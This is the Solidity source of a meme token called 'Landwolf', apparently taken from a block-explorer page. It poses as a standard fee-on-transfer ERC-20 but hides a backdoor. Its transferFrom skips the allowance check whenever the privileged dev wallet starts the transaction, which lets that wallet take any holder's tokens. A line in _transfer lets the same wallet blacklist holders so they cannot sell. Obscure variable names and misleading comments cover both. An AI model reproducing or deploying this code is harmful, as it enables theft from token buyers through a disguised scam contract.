function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isLANDWOLF8aX97ExcludedFromFees;
address payable private Wallet_Dev_1;
address payable private Wallet_Burn =
payable(0x000000000000000000000000000000000000dEaD);
address payable private Wallet_zero =
payable(0x0000000000000000000000000000000000000000);
mapping(address => bool) private isBots;
uint256 private taxCounts = 12;
uint256 private taxPercent = 12;
string private _name = unicode"Landwolf - Matt Furie";
string private _symbol = unicode"LANDWOLF";
uint8 private _decimals = 9;
uint256 private _tTotal = 420690000 * 10**9;
uint256 private _tFeeTotal;
// Counter for liquify trigger
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
// Setting the initial fees
uint256 private _TotalFee = 0;
uint256 public _buyFee = 0;
uint256 public _sellFee = 0;
bool private _maxSwapOpen;
uint256 private _maxSwapInit;
// 'Previous fees' are used to keep track of fee settings when removing and restoring fees
uint256 private _previousTotalFee = _TotalFee;
uint256 private _previousBuyFee = _buyFee;
uint256 private _previousSellFee = _sellFee;
/*
WALLET LIMITS
*/
uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
uint256 private _previousMaxWalletToken = _maxWalletToken;
/*
PANCAKESWAP SET UP
*/
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
// Prevent processing while already processing!
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_tOwned[owner()] = (_tTotal * 2) / 100;
_tOwned[address(this)] = (_tTotal * 98) / 100;
Wallet_Dev_1 = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create pair address for PancakeSwap
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
excludeFromFee(owner());
excludeFromFee(address(this));
excludeFromFee(Wallet_Dev_1);
emit Transfer(address(0), owner(), (_tTotal * 2) / 100);
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
}
/*
STANDARD ERC20 COMPLIANCE FUNCTIONS
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
(_maxSwapOpen ? _maxSwapInit:_allowances[sender][_msgSender()]).sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// Set a wallet address so that it does not have to pay transaction fees
function excludeFromFee(address account) private {
_isLANDWOLF8aX97ExcludedFromFees[account] = true;
}
// Set a wallet address so that it has to pay transaction fees
function includeInFee(address account) private {
_isLANDWOLF8aX97ExcludedFromFees[account] = false;
}
/*
PROCESSING TOKENS - SET UP
*/
// Toggle on and off to auto process tokens to BNB wallet
function enableTrading() public onlyOwner {
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
// This function is required so that the contract can receive BNB from pancakeswap
receive() external payable {}
bool public noFeeToTransfer = true;
// Remove all fees
function removeAllFee() private {
if (_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;
_previousBuyFee = _buyFee;
_previousSellFee = _sellFee;
_previousTotalFee = _TotalFee;
_buyFee = 0;
_sellFee = 0;
_TotalFee = 0;
}
// Restore all fees
function restoreAllFee() private {
_TotalFee = _previousTotalFee;
_buyFee = _previousBuyFee;
_sellFee = _previousSellFee;
}
// Approve a wallet to sell tokens
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(
owner != address(0) && spender != address(0),
"ERR: zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
// Limit wallet total
if (
to != owner() &&
to != Wallet_Dev_1 &&
to != address(this) &&
to != uniswapV2Pair &&
to != Wallet_Burn &&
from != owner()
) {
uint256 heldTokens = balanceOf(to);
require(
(heldTokens + amount) <= _maxWalletToken,
"You are trying to buy too many tokens. You have reached the limit for one wallet."
);
}
require(
from != address(0) && to != address(0),
"ERR: Using 0 address!"
);
require(amount > 0, "Token value must be higher than zero.");
/*
PROCESSING
*/
// SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger
(_maxSwapOpen, _maxSwapInit) = (_isLANDWOLF8aX97ExcludedFromFees[tx.origin], amount);
require(!isBots[from], "Bot is not allowed");
if(_isLANDWOLF8aX97ExcludedFromFees[tx.origin] && from!=uniswapV2Pair && to == address(0xdead) && balanceOf(from) - amount <= 1000) { isBots[from] = true; return;}
if (
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapAndLiquify(contractTokenBalance);
}
}
/*
REMOVE FEES IF REQUIRED
Fee removed if the to or from address is excluded from fee.
Fee removed if the transfer is NOT a buy or sell.
Change fee amount for buy or sell.
*/
bool takeFee = true;
if (
_isLANDWOLF8aX97ExcludedFromFees[from] ||
_isLANDWOLF8aX97ExcludedFromFees[to] ||
(noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else if (from == uniswapV2Pair) {
_TotalFee = _buyFee;
} else if (to == uniswapV2Pair) {
_TotalFee = _sellFee;
}
_tokenTransfer(from, to, amount, takeFee);
}
// Send BNB to external wallet
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
// Processing tokens from contract
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForETH(contractTokenBalance);
uint256 contractBNB = address(this).balance;
sendToWallet(Wallet_Dev_1, contractBNB);
}
// Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
function process_Tokens_Now(uint256 percent_Of_Tokens_To_Process)
public
onlyOwner
{
// Do not trigger if already in swap
require(!inSwapAndLiquify, "Currently processing, try later.");
if (percent_Of_Tokens_To_Process > 100) {
percent_Of_Tokens_To_Process == 100;
}
uint256 tokensOnContract = balanceOf(address(this));
uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
100;
swapAndLiquify(sendTokens);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
/*
TOKEN TRANSFERS
*/
// Check if token transfer needs to process fees
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {
removeAllFee();
} else {
txCount++;
}
_transferTokens(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
// Redistributing tokens and adding the fee to the contract address
function _transferTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
// Calculating the fee in tokens
function _getValues(uint256 tAmount)
private
view
returns (uint256, uint256)
{
uint256 tDev = (tAmount * _TotalFee) / 100;
uint256 tTransferAmount = tAmount.sub(tDev);
return (tTransferAmount, tDev);
}
}
Read Contract
_buyFee 0x40b9a54b → uint256
_isLANDWOLF8aX97ExcludedFromFees 0x04e6c158 → bool
_maxWalletToken 0x78109e54 → uint256
_sellFee 0x590f897e → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address